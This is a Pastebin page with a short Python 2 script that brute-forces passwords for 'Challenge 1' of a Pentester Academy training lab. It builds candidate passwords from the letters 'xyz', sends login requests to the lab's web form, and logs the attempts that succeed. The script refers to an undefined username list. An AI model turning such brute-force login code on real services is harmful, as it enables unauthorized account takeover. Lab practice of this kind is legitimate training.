Guest User

Untitled

a guest
Sep 17th, 2013
347
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env  python
  2. '''
  3. Brute Force On Challenge 1
  4. Ahmed Sherif
  5.  
  6. '''
  7. import urllib2
  8. import os
  9. from termcolor  import cprint,colored
  10. your_list = 'xyz'
  11. complete_list = []
  12. for current in xrange(5):
  13.     a = [i for i in your_list]
  14.     for y in xrange(current):
  15.         a = [x+i for i in your_list for x in a]
  16.     complete_list = complete_list+a
  17.  
  18. chunk = complete_list[120:363]
  19. print chunk
  20. print len(chunk)
  21. f = open('myfile3.txt', 'w')
  22.  
  23.  
  24.  
  25.  
  26.  
  27. for pw in chunk:
  28.     for x in username:
  29.    
  30.         trying =  "Trying with Username \t"+ x +"\t password "+pw + "\n"
  31.         print   trying
  32.         url = ('http://pentesteracademylab.appspot.com/lab/webapp/1?email='+x+'&password='+pw)
  33.         request = urllib2.Request(url)
  34.         response = urllib2.urlopen(request)
  35.         back = response.read()[2486:2492]
  36.         print back
  37.         f.write(trying + back + "\n")
  38.         if(back!="Failed"):
  39.             cprint  ("Success With Username " +x+ "& Password " + pw ,'red')
  40.            
  41.  
  42. f.close()
Advertisement
Add Comment
Please, Sign In to add comment